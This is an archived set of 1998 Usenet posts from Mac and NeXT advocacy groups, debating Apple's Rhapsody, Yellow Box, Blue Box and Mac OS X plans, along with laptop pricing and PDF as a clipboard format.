References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu> <355b1e83.0@206.25.228.5> <6jg12k$o12$1@winter.news.erols.com> <rmcassid-1405982346120001@dialin9022.slip.uci.edu> <joe.ragosta-1605980724120001@elk81.dol.net>
In article <joe.ragosta-1605980724120001@elk81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <rmcassid-1405982346120001@dialin9022.slip.uci.edu>,
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>> In article <6jg12k$o12$1@winter.news.erols.com>, "Ted Martin"
>> <tmartin@bcpl.net> wrote:
>>
>> > That's a Main Street One.
>>
>> It's still a laptop, isn't it? It's new, fast, expandable...
>>
>> > Wall Street is $4000-6000, hence the name.
>>
>> And PC laptops can cost that much as well. So do you proclaim all PC
>> laptops to be unreasonably expensive just because one of them is $6000?
>
>Actually, the most expensive Wintel laptops are over $7,000. So I guess
>that we can say that all Wintel laptops are too expensive using
>TedLogic(tm).
Please refain from inappropirate useage of TedLogic (tm). The Ted does
not think that way. TedLogic may state that WinTel machines are too
expensive to operate though. Ted has better things to do with his time,
like wasting it on usenet or avoiding other onerous tasks. If Mr. Martin
actually thinks this way, we may have to revoke his licence to Ted.
Ted quote of the day (said after working with Windows for most of the
day): "Y'know, Ted Kazinski only killed three people..." (best said while
glaring around at a large crowd) (Or) Name a few famous Ted's: Kazinski,
Bundy, Kennedy...
<cue creepy music>
That said, Ted would find it most generous if you'd not misue TedLogic in
the future.
--
Ted Brown tbrown@netset.com
Message-ID: <355F70D8.325D2D76@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162>
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Date: Sun, 17 May 1998 23:17:21 GMT
NNTP-Posting-Date: Sun, 17 May 1998 19:17:21 EDT
Matthew Vaughan wrote:
>
> Well, they hadn't promised anything more. From day one Apple stressed that
> even the Unified release of Rhapsody wasn't for everyone!
Poppycock. Apple *bought* NeXT to engineer a next-gen OS to REPLACE the
Mac OS. That was widely publicised at the time. Amelio explained, for
instance, why Apple didn't buy Be. The company folded its Copland chips
and went searching about for a candidate company to make the difference.
Sure, Apple said, paraphrased: "While we are doing Rhapsody we will
continue with incremental Mac OS development in the meantime" from day
one, but that certainly did not mean "Rhapsody will not--ever--replace
the Mac OS." All of that is revisionist CYA tripe engineered by Jobs to
Cover His Ass.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 19:54:28 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1705981954280001@192.168.0.3>
References: <kwaltd-ya02408000R1605981229210001@enews.newsguy.com> <B1834FED-9CF5@206.165.43.149> <6jn0s5$1cc$61@ironhorse.plsys.co.uk>
In article <6jn0s5$1cc$61@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
:PGML
:
:Which is likely also to be supported.
From a purely theoretical standpoint, PGML could be okay. But I don't
think it's anywhere close to being ready for prime time. It's also
necessarily a textual format, which means it wouldn't be appropriate for
transferring binary data like bitmaps, sounds, and movie clips. It's also
going to have a lot of parsing overhead.
IMO, Apple needs an extensible media container format that *they*
control. Otherwise developers and users are going to be frustrated by what
they can and can't do with the format. PGML is probably going to be a
pretty open spec, so Apple would be 'safe' using it, but PDF, that's just
dumb. *Nobody* was asking to use it as a clipboard format. Output format
yes, clipboard format *no*. I hope Apple reconsiders and actually creates
a *rich* format that is easily editable and allows apps to exchange data
more easily. I have no problems with them providing a PDF output option, I
just think PDF-everywhere is *dumb*. The only thing I can see PDF
providing is more unnecessary work for Apple to do. Personally, I wouldn't
be surprised if they dropped it by next WWDC.
-Eric
Date: Sun, 17 May 1998 19:41:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1705981941220001@elk33.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com>
In article <355F6DDE.53617770@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Rhapsody as it was would have never made as a consumer OS since none of the
> > big software companies endorsed it. That _forced_ Apple to do what they did
> > on Monday.
> >
> >
>
>
> Maybe, just maybe, the reasons why "Rhapsody" wasn't endorsed were
> simple and easy to understand? Maybe Rhapsody DR1 wasn't enough for them
> to start spending millions of development dollars on? Maybe they were
> leery that Jobs, as unstable as he's been, would DO WHAT HE JUST DID,
> and cut them off at the knees with their Rhapsody development? Maybe
> they just wanted to wait for Apple to SHIP a 1.0 + version of the OS
> first?
Just how did Jobs cut anyone off at the knees?
YB development is unchanged. You'll still be able to deploy it on Macs,
Rhapsody, and Windows.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Message-ID: <355F76C5.64F3EB76@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <andyba-ya02408000R1305981500440001@news> <355B40BF.8108AF71@spamtoNull.com> <see-below-1405982109200001@209.24.240.162>
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Date: Sun, 17 May 1998 23:42:46 GMT
NNTP-Posting-Date: Sun, 17 May 1998 19:42:46 EDT
Matthew Vaughan wrote:
>
> >
> > Great! So why the need for the "Mac OS 10" hoopla? If Rhapsody "will be"
> > all you say at release, what's the point? This does little except to
> > remove the focus from "Rhapsody" onto a future product. Regardless of
> > how clear the situation seems to you, I submit it will do little more
> > than confuse most everyone else.
>
> This is a _developer_ conference we're talking about. Apple is speaking to
> their developers, who are almost 100% _Macintosh_ developers. It's not at
> all about what the future product will be, or how good its underpinnings
> are, but whether their products are going be "blessed" in a modern OS.
This is ridiculous. When X86 developers writing 16-bit Win3.x software
went to Win95, were they told they wouldn't have to rewrite much of
their code to take advantage of Win95's kernel and it's capabilities?
Were they told, "Just keep writing your applications as you've been
doing--we'll write the OS capabilities around them"....?
Certainly not. With advanced capabilities, new kernels and so forth,
comes the job of new application coding. That's a given anywhere you
look. Were hardware developers told, "You don't need to worry about new
drivers for your hardware because we'll make sure the old ones work *as
if* they were new ones written to specifically advantage your products
of our upgraded environment?"
Negative.
Of_course_it was a developer conference. That's what makes it so
remarkable. It's Apple saying: "We know why you all aren't that
interested in doing new coding for Rhapsody, so rather than tell you
about a host of new tools we've developed to make porting your aps to
native Rhapsody easy, we're just going to rewrite the MAc OS *AGAIN* so
that you won't have to do very much to have your *current* applications
run in a modern environment."
And that is BS of the highest order. Rubbish. Garbage. Tripe.
> Previously, there was no promise of this, and these developers were faced
> with a 1-2 year major rewrite of all their software, or else sitting
> inside a seperate window, with shared memory and cooperative multitasking
> and emulated code.
First of all, their *current* applications could have run in blue box,
so that eliminates that problem. Except of course, that Apple couldn't
figure out how to do blue box so that current applications would run as
they now run in Mac OS, as first-class "citizens", in other words.
As for the time frame, Apple has said that it will be at least a year
and longer before developers will learn precisely how they must *tweak*
their applications to run under Mac OS 10. It *might* have been easier
and better to do native Rhapsody aps in that same time frame, provided
Apple would furnish the tools. Which Apple isn't going to do.
> Now, that software only needs minor changes to work
> well in this future system, with all the benefits. This makes the
> developers very happy. Now they're less likely to eye the Windows market,
> or worry about the huge expense of converting their products to a
> currently-nonexistent market. This is really just buying Apple time, so
> that Rhapsody has a chance to succeed in the long run.
I can't see how any of this could possibly make that sort of difference.
Maybe Jobs *hopes* it will, but that has yet to be seen. Whether you
have to wait to "tweak" or wait to rewrite, it's still a waiting game.
>
> Correct. And Apple came to their senses and realized that that simply
> wasn't acceptable for their consumer OS (actually, I think they knew this
> all along, and tried to tell people, but everybody was jumping to
> conclusions). Besides which, Rhapsody CR1 will already have this as of
> September of this year. If it's good enough, then it will be smashing
> success, won't it?
I cannot possibly see how any version of an OS from Apple named
"Rhapsody" will have much of a success at all, in *light* of what Jobs
has said about "Rhapsody not making sense" and "Mac OS 10."
>
> Not at all. They'd be just fine if they had. Rhapsody CR1 is coming out in
> September of this year, those applications will run great on OS X, and
> they will also run on Rhapsody for Intel and Yellow Box for Windows.
> Yellow Box is clearly a central part of Apple's long term strategy.
But now developers never will climb onboard Rhapsody--because of what
Jobs has said about it and as to what Apple's intentions actually are.
>
> And there's no difference between applications running cooperatively
> together in a in a shared-memory environment with emulated 68k code, and
> running preemptively in their own address spaces using 100% native PPC
> code?
The whole idea of Rhapsody was *the future* not the past. ALL Rhapsody
needed to do was to run the old stuff well and easily and developers
WOULD have climbed onboard with the new applications.
> >
> > That's really funny considering how Rhapsody has yet to be released and
> > "Mac OS 10" is scheduled for Q3 1999!....:) But why let time and
> > substance cloud your thinking?
>
> Ah, so Merced isn't important to Intel, and Windows 98 and NT 5 aren't
> important to Microsoft. I see.
>
When Apple is in the league of Intel and Microsoft financially, let me
know...:) It doesn't follow that what's good for Microsoft/Intel is good
for Apple you know....
Message-ID: <355F776C.11DCC01B@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu> <355B30E7.884258AD@spamtoNull.com> <see-below-1405982111320001@209.24.240.162>
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Date: Sun, 17 May 1998 23:45:27 GMT
NNTP-Posting-Date: Sun, 17 May 1998 19:45:27 EDT
Matthew Vaughan wrote:
>
> I think you're wrong. While we all talk about Rhapsody here, 90% of
> Macintosh users probalby have no clue what it is, if they've even heard of
> it. And if they have heard of it, they're probalby very unclear on whether
> it runs on the same hardware, or will run their existing software.
>
I agree with you...it's yet more evidence of Apple's "marketing"
abilities....:)
Message-ID: <355F7BBE.F340EBBA@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <see-below-1405982129470001@209.24.240.162>
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Date: Mon, 18 May 1998 00:03:56 GMT
NNTP-Posting-Date: Sun, 17 May 1998 20:03:56 EDT
Matthew Vaughan wrote:
>
> Apple will ship THIS YEAR eveyrthing they previously promised, implied, or
> otherwise hinted at, in terms of both MacOS and Rhapsody.
>
> OS X is promising things that are entirely new, things that WERE NOT
> PROMISED BEFORE, on top of what we're already getting.
Yet another misstatement. With Rhapsody supporting legacy apps under
blue box, Rhapsody would have been shipped out on all new Macs as the
future OS. Developers would have gotten onboard had Apple supplied the
tools they need to move easily to Rhapsody. Rhapsody 1.0 is shipping
this year, supposedly.
Mac OS X is telling them: "What we are going to do is to drop 2000
"function calls" (not to offend the particular by calling them APIs),
and roll Rhapsody into MAC OS as Mac OS 10. Instead of a rewrite, you'll
only have to do a 20%-30% code tweaking for applications to run with all
privileges under Mac OS 10."
That's quite a bit of difference.
>
> But like running SoftWindows on your Mac, that's only a solution for
> occasional use (though unlike SoftWindows, speed isn't appearantly a
> problem).
Bluebox was not supposed to have run like "SoftWindows". It was supposed
to have been far more transparent than that, according to Apple. If it
isn't, it isn't *anything* like it was billed in the beginning, which
explains everything.
>
> In addition, what you're missing is that Apple had only positioned
> Rhapsody as a server/workstation/developer OS. OS X is more of a consumer
> OS, which requires much more backward compatibility of thousands of apps,
> more transparent user interface, less complexity etc.
Apple under Jobs "positioned" Rhapsody as you describe. That was *not*
the original plan.
>
> > You don't think applications will have to be
> > rewritten to run in the optimum OS 10 environment as Jobs has theorized
> > it? Of course they will. The "tweaking" only refers to legacy aps--new
> > aps will have to be rewritten to run on Mac OS 10....
>
> I don't understand what you're saying. Can you create brand new software
> for Windows without writing any code? New apps by definition can't be
> rewritten, since they haven't been written yet. You make less sense every
> time you write something...
*YOU* don't understand what *I* am saying?....:) Now, that's a
switch....:)
The whole claim for "MAC OS 10" is that with a *minimum* of "rewrite"
they can be made to perform as though they had been completely rewritten
for native Rhapsody.
>
> Current Mac apps, including 68k apps, will be able to run in MacOS X
> _without any changes_ in the Blue Box. However, they will still share a
> common memory space, be cooperatively multitasked against each other, and
> be burdened with emulated 68k code in the OS/libraries. The "tweaked" apps
> will have all the benefits of the modern OS environment.
Who on earth would you care about legacy Mac apps in a year? That's the
way they run *now* under the Mac OS, isn't it? The whole point of
Rhapsody is the *future* of Mac application development. Rhapsody alone
would have been enough. So why bring up "Mac OS 10" in the first place
at this stage? Why not release Rhapsody first and *then* talk about the
future beyond that?
From: ashley@cs.curtin.edu.au (Ashley Aitken)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac owners?)
Date: 14 May 98 05:49:14 GMT
Organization: Curtin University of Technology
Message-ID: <ashley.895124954@marsh>
References: <ericb-1105981718430001@132.236.171.104> <6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
"Greg Alexander" <galexand@ozemail.com.au> writes:
>2 versions! So that would mean apple has a 2 OS strategy, but
>they're both called Mac OS..... hmmmm....
Rhapsody and MacOS X are different (different imaging models at least, I
assume).
>We could be running Carbon on Rhapsody 1 and Allegro this September!
>Wouldn't we then have _everything_ Mac OS X will have?????
I read somewhere that Carbon will not run on Rhapsody. Again, I believe
because of the imaging models etc.
Cheers,
Ashley Aitken.
ashley "at" cs "dot" curtin "dot" edu "dot" au
From: ashley@cs.curtin.edu.au (Ashley Aitken)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS ( Was: Carbon features: NO Quickdraw !!)
Date: 14 May 98 14:30:54 GMT
Organization: Curtin University of Technology
Message-ID: <ashley.895156254@marsh>
References: <6j9631$61c$1@news.tudelft.nl> <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com> <6jbp3h$eua$10@news.idiom.com> <hAk61.1$o52.30691@news.san.rr.com> <6jcobq$53h$1@news.xmission.com> <slrn6ljs6u.p80.sal@panix3.panix.com>
I read on some mailing list that DPS is really a language plus an imaging
model and that Apple is going to dump the language but not the image model.
So I guess this could be consistent with them using DGS. Surely keeping
the image model means they have to have some language - that sort of defines
the imaging model.
And, I don't believe Steve-Publishing-and-Graphics-Jobs would dumpt WYSIWYG
display/printing. He's been crowing that for too long.
Still, there's been mention of an "Extended QuickDraw". But I hope this is
just to bring QuickDraw into the Rhapsody world, and either uses Interceptor
to draw directly or uses YellowBox drawing etc.
I guess we'll no real soon now. I wonder why they left it to the end of the
conference. Do they want to finish with some big news?
Cheers,
Ashley Aitken.
ashley "at" cs "dot" curtin "dot" edu "dot" au
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 21:32:39 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1705982132390001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu> <355F6C41.F47A4916@spamtoNull.com>
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In article <355F6C41.F47A4916@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > The Blue Box performs _better_ than "originally advertised" *right now*.
> >
> > It is still not good enough to make Rhapsody a mainstream Mac OS
> > replacement without Yellow Box support from the big name companies.
>
> Again, so what's keeping them from signing on, in your estimation?
What keeps Macintosh developers from signing on to the Yellow Box is the
fact that in order to make their applications Yellow Box compliant, they
would have to _scrap_ their entire code base for the Mac OS. It is not a
simple matter of recompiling their applications. They have to rewrite them.
While programming for the Yellow Box might be a lot easier, it would still
take significant effort to rewrite for the Yellow Box.
Further, they would have to have some gaurantee that Apple would not simply
yank support for the Yellow Box. Developers have little trust in Apple
right now. Apple has done a lot to evoke this distrust in the past.
Even if Apple is changing such that developers can start to trust it again,
they will still need some proof of that change before throwing their
resources towards 'the next great thing'. In other words, a lot of Mac
delopers are waiting for Apple to release Rhapsody. They are not going to
throw everything into Rhapsody development until they see that it will
maintained and expanded. That means there will be relatively little
application support for the important part of Rhapsody (Yellow Box). That
means that Rhapsody cannot initially serve as a replacement for the Mac OS
for the majority of Mac users.
> > Just because you are having problems following the strategy does not mean
> > that Mac OS developers are.
> >
> > Mac OS X is not significantly different from Rhapsody. Anyone who buys
> > Rhapsody and then buys Mac OS X will see no change except that Mac OS X is
> > more polished and has an updated core (such as a Mach 3.0 variant instead
> > of 2.5)
>
> Again, you can't *say* what you just said! "Mac OS 10" does not yet
> exist! You cannot say it is *not significantly different from Rhapsody.*
> That may or may not be the case--*when* Mac OS 10 is *released.*
Very well, make that 'Mac OS X as planned will not be significantly
different from Rhapsody'. According to the current plan, Mac OS X will
simply be an updated Rhapsody with expanded and improved backwards
compatibility which Rhapsody was not to have initially.
> > Apple said that they wouldn't orphan the entire line of Mac OS with the
> > release of Rhapsody. THat's a pretty good reason.
>
> That is no reason at all. The concept that "Rhapsody would orphan the
> Mac OS" was *not* a concept *ever discussed* at the time Apple bought
> NeXT, nor was it a concept *ever discussed* at Apple prior to Jobs
> usurping Amelio and the old board.
Which means that people were deluding themselves into believing that
Rhapsody could serve as an immediate replacement for the Mac OS. It
couldn't.
> In fact, at the time Apple bought
> NeXT, it was *widely publicized* that Apple was searching for an OS
> solution to REPLACE the Mac OS. It is no more than a CYA policy that has
> *since* been engineered by Jobs to explain why Rhapsody *won't do* what
> *Apple thought it would do* when Apple shelled out 450 Million dollars
> to Jobs and company as the architects of the next-gen Apple OS.
Umm... but Rhapsody _will_ replace the Mac OS. It will take longer than was
believed, but there really was no solution that would have been better. Be
OS was not mature enough and would have run into _exactly_ the same
problems that Rhapsody is. The same goes for OS/2. Developing a new OS
inside Apple obviously wasn't the solution since they'd tried that and
there was no particular indication that they could clean up the management
of OS development to be capable of doing that in a reasonable time frame.
Not to mention that starting from scratch on a new OS would not have
resulted in a reasonable time frame no matter how good the development
team.
Apple was not saying that Rhapsody would serve as an immediate and complete
replacement of the Mac OS. To replace the Mac OS was an eventual goal, but
Apple had been saying all along that Rhapsody wouldn't do it immediately. A
great deal of people _hoped_ that it would and framed their opinions of
Rhapsody based on that hope, but Apple never did much to encourage it
(Apple hasn't done a lot to _discourage_ it either, but they did some).
> > Rhapsody 1.0 may have had a _negative_ impact.
>
> This is brilliant. First you say that Rhapsody will ship and do
> *everything* it was supposed to have done from the beginning, and do a
> *better* blue box, but that it may have a *negative impact.*
No, I said that Rhapsody 1.0 will ship with everything it was supposed to,
but if it were pushed as an immediate and complete replacement for the Mac
OS, it would have had a negative impact for both developers and users.
How well do you think Microsoft would have done if it had made NT4 instead
of Win95 and used NT as a complete replacement for Win3.11? It had/has more
backwards compatibility issues than Win95, and even higher hardware
requirements than Win95. It does have fewer compromises that affect the
stability and performance of the OS, but it would very likely have flopped
as a Win3.11 replacement.
> I submit that Rhapsody *will not* do everything as advertised and will
> in fact leave a lot of people cold and *that* is why Jobs needed to
> invent the NeXT Great Thing to divert attention from the upcoming
> Rhapsody release. That makes much more sense than what you maintain.
You don't even seem to understand what I maintain.
Rhapsody _could not_ have succesfully replaced the Mac OS in its initial
release. It could have over time, and will, but it was not going to serve
as immediate replacement for the Mac OS for all or even a majority of Mac
users/developers.
> > If Apple had pushed that
> > instead of the Mac OS, developers would surely have balked.
>
> What assurance do you currently have that they will not "balk" at
> waiting 18 months to see what else develops at Apple, to see how to
> "tweak" their existing code?
None. It is my opinion that this new strategy makes _more_ sense for Mac
developers. I'm not saying that it is the best possible scenario that could
have occured, but that given the situation as it was as of Monday that this
was the better direction that Apple could have taken.
> > The whole
> > reason Apple pulled this backwards compatibility stunt was because
> > developers weren't developing for Rhapsody. Apple has now provided a way to
> > replace the Mac OS entirely as a mainstream OS with Rhapsody without
> > scaring away users and developers.
>
> This is where we completely disagree. As of now, Apple has *provided* no
> such thing. All Apple is doing is *talking about* when it will actually
> provide something and *talking about* what that something will consist
> of. Condensed, it is the difference between vaporware and shipping ware.
Fine. Alter what I said to be 'Apple has now provided a plan that will
likely result in the replacement of the Mac OS entirely as a mainstream OS
with Rhapsody without scaring away (as many) users and developers'.
> > You do not understand.
> >
> > New apps are being written. Not *re*written. The tweaking refers to making
> > sure that the Mac OS app uses only those 6000 out of 8000 API functions in
> > Carbon that will allow the application be brought out of the Blue Box and
> > make use of PMT and PM.
>
> I understand completely that this is what *Apple says* the case will be,
> and I also understand completely that currently this is not the case at
> all.
Yes it is. You have _no_ evidence that Apple will _not_ do as it says.
There is evidence that Apple is working towards doing this.
It was not too many posts ago that you were saying that Mac OS X would have
no Yellow Box, no Blue Box, and would require developers to rewrite their
applications for them to even be able to run and that Rhapsody was
fundamentally dead. You have shown repeatedly that you do not understand
completely.
> You keep harping on the fact that Rhapsody is being released. Of
> what possible significance can you imagine Rhapsody at all if your
> sentiments are as stated above? The "announcement" of Mac OS 10, and the
> *projected legacy support* of Mac OS 10 are merely current intentions
> and goals, not present realities. If these announcements are believed by
> developers Rhapsody will never get off the ground because developers
> won't bother to rewrite applications to use it!
You have no evidence that they would have in the first place!
There are serious indications that they in fact would _NOT_ have rewritten
for Rhapsody. This being the case, Rhapsody _could not_ have replaced the
Mac OS.
Why would a user install Rhapsody just to be forced to run a slightly less
compatible Mac OS inside the Blue Box with all the increased hardware
requirements that come with Rhapsody? Why would a user not simply have
stuck with Mac OS? If they had no significant applications to run in the
Yellow Box, then all they'd have is a bloated Mac OS that wasn't as
compatible as the real Mac OS. This is why Rhapsody could not have served
as an immediate replacement.
Mac OS X will provide a way of migrating towards Rhapsody more smoothly. By
that time, Rhapsody's hardware requirements will not be viewed as so high,
and the Mac OS will be pushing towards the features of Rhapsody before it
is replaced by Rhapsody renamed. Since Rhapsody will have been out for a
while, more developers will have had a chance to write for it or start
writting for it. Those who never intended to will have a chance to make
their applications take advantage of some of the same features that Yellow
Box apps enjoy.
> Here's a really wild idea for you. Suppose that Rhapsody is as you've
> said--great, through and through, nearly bug free, and utilizing a great
> blue box that runs 99% of all legacy applications *better* than the
> current Mac OS. HOW CAN YOU BE SO SURE THAT DEVELOPERS WOULDN"T HAVE
> SIGNED ON AFTER SUCH A RELEASE WAS ACCOMPLISHED? Suppose Apple pushed it
> and sold 5 million copies in a year? Suppose it was selling GREAT and
> RUNNING GREAT? Don't you think major developers would REASSESS their
> current positions? I certainly do, myself.
Yes. Certainly!
But here is absolutely no evidence that it would have sold 5 million copies
in a year or anything even close. Rhapsody does have higher hardware
requirements such that running Rhapsody just to use the Blue Box
exclusively wouldn't be advantageous. This is particularly so when not all
applications (like those that deal with hardware access) would run. Why
would users buy a new OS just to do that?
I will buy Rhapsody. I will also be buying Yellow Box applications. I do
not care if the latest version of Microsoft Office does not run as a Yellow
Box application. I do not care if Adobe Photoshop won't run with preemptive
multitasking in a 100% PPC native environment. I will use the alternatives
available on Yellow Box when Rhapsody ships. I do not rely on the specific
big sofware titles that others do. I am not tied to any particular software
version.
My intended use of the Blue Box will be light. I can tolerate the lack of
transparency between the Yellow and Blue Boxes. I will welcome the Unix
environment. I am almost sure that the majority of Mac OS users could not.
> But Jobs has killed that possibility with his nauseating "MAC OS 10"
> publicity stunt.
He certainly hasn't. It was never _much_ of a possibility in the first
place, _and_ there is still the _same_ possibility right now. Rhapsody
could be wildly successful. In that case, Mac OS X will just have been a
fallback measure in case it was to be necessary. If Rhapsody isn't wildly
successful, then Mac OS X will be necessary as a fallback measure.
> THis doesn't even HIT on the "Rhapsody for Intel" development.
Rhapsody for Intel is just as secure now as it was before (which is to say
not very).
> > People writing new applications should be writing for Yellow Box. Mac OS
> > developers with old code who don't want to rewrite their apps for Yellow
> > Box should be tweaking them for Carbon. If they don't do that, then it's to
> > the Blue Box with them.
>
> Let me put another wild premise to you. Suppose Mac developers, instead
> of waiting around for 18 months to learn just how to "tweak their
> applications" for Mac OS 10, decided to go ahead and use that time
> REWRITING THEIR CODE for Rhapsody? Of course, that possibility has been
> shot down, too.
That possibility is still wide open. Developers intending to do just that
can still do so. There is no evidence that there were any significant
numbers of Mac developers willing to do so. Mac OS X makes things easier
for those who weren't going to bother with Rhapsody.
There are certainly risks with that strategy, but at least there is a
strong possibility of success whereas before, there was very little. Mac OS
developers want to wait to see that Rhapsody comes out. After that, they
may spend the effort to rewrite for Rhapsody. That being the case, it would
have been folly for Apple to push Rhapsody as a complete replacement for
Mac OS in its initial release. As it is, Rhapsody will be available to
those who want it and not forced on those who don't.
> > It is the reaction of people like yourself that proves that the RDF was
> > working full force.
>
> I would have thought it was the other way around...:)
It shows that you were lead to believe that Mac OS was still going to be
around and that the next great thing would come around next year when in
truth, Rhapsody is the next great thing and it will morph into the same
role as the Mac OS while ending what we now consider the Mac OS next year.
> > > As I say, when Rhapsody is released it will come with a whimper, thanks
> > > to Jobs' Mac OS 10 stunt.
> >
> > We'll see.
>
> Can you think of one good reason why it would now be released with a
> "bang?"
Not really. Can you think of one good reason that it would have been
received well if it had?
As it is, those who know and want it will get it. Those who didn't know
about it (and there are a lot of those people) and don't want it (or would
believe they don't want it) aren't scared into thinking that they've lost
the Mac OS they love.
> > > The problem with all of that is that it is pure theory. We have yet to
> > > see the reality of it.
> >
> > Read what was said. What we know as the Mac OS right now will be dead when
> > Apple releases "Mac OS" 10. Mac OS 10 is Rhapsody renamed.
>
> If that's so, then how is Rhapsody being released this fall supposedly?
What?
> I see..."Mac OS 10" is merely Apple's cute way of saying, "Mac OS 10 is
> the Rhapsody that consumers and developers will LIKE. So it's 18 months
> late. First, we're going to release the Rhapsody 1.0 this year, the
> version that we feel consumers and developers WON'T LIKE."
>
> Yea, makes *so* much sense.
The majority of consumers wouldn't have liked Rhapsody as it started out.
It is a good thing that they don't have it forced upon them. You are saying
something different.
> > Do you _really_ believe that the general public even knows about Rhapsody
> > much less will want it? Rhapsody will have relatively few apps to begin
> > with. None of the big name companies have announced support for it (ie
> > Microsoft and Adobe). That has absolutely nothing to do with Monday's
> > announcements. Monday's announcements were caused by this very fact. It was
> > not the other way around.
>
> Do you REALLY_BELIEVE that the "general public" even knows what Apple
> Computer is? Come on...that one's tough enough, let alone the Rhapsody
> issue. Everything that Apple is doing it's doing for the CURRENT MAC
> MARKET, IE, people currently using a Mac. Nobody else even figures in.
Apple Computer has become a lot more visible as of late. It has always
gotten a fair amount of press. Why do you think Business Week had on their
front cover "The Fall of an American Icon" with the Apple logo prominently
displayed? Most people who are relevant to the computer market have
definitely heard of Apple, and have at least an inkling of what it is.
> > _I_ will buy Rhapsody as soon as it becomes available to me. That has not
> > changed with Jobs' announcement.
>
> So, you'll buy it--but few others will. Is that your core argument?
I will buy it, but the vast majority of the Mac user base will not. That is
what I believe. I believe that this would have been true even without the
"change" in direction that Apple made public (mostly to developers) on
Monday.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
